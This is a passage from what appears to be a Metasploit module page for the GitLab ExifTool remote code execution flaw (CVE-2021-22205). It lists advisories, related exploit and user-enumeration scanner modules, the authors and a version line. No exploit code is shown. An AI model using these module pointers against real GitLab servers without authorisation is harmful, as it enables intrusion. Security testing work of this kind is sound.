- https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
- https://hackerone.com/reports/1154542
- https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
See Also
Check also the following modules related to this module:
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- exploit/multi/http/gitlab_file_read_rce
- exploit/multi/http/gitlab_shell_exec
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_login
- auxiliary/scanner/http/gitlab_user_enum
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
Authors
- William Bowling
- jbaines-r7
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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